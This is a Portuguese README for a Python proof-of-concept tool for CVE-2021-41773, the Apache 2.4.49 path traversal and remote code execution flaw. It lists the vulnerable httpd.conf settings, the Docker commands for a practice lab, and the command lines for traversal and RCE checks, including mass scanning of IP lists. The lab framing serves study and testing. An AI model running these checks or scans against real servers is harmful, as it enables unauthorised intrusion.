Apache 2.4.49 - Travessia de Caminho ou Execução Remota de Código

cve-2021-41773.py é um script Python que ajudará a encontrar vulnerabilidade de Travessia de Caminho ou Execução Remota de Código no Apache 2.4.49. Uma instância vulnerável do Docker é fornecida para colocar a mão na massa no CVE-2021-41773

Se o CGI-BIN estiver habilitado, podemos realizar Execução Remota de Código, mas não Travessia de Caminho, então o diretório "icons" foi adicionado na seção Alias no httpd.conf para verificar a vulnerabilidade de Travessia de Caminho.

Configurações Vulneráveis no httpd.conf

1. Habilitar CGI-BIN
2. Adicionar diretório "icons" na seção Alias
3. <Directory>Require all granted</Directory>

Laboratório para CVE-2021-41773

Construir Docker

$ docker build -t cve-2021-41773 .

Executar Docker

$ docker run -it cve-2021-41773

Uso do cve-2021-41773.py

Verificar Travessia de Caminho e Execução Remota de Código

$ python3 cve-2021-41773.py -u http://172.17.0.2

PoC de Travessia de Caminho

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

PoC de Execução Remota de Código

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

Para varredura em massa, forneça um arquivo de texto contendo IPs:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

Mais informações podem ser encontradas aqui.

Referências

• https://nvd.nist.gov/vuln/detail/CVE-2021-41773
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://www.cve.org/CVERecord?id=CVE-2021-41773
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/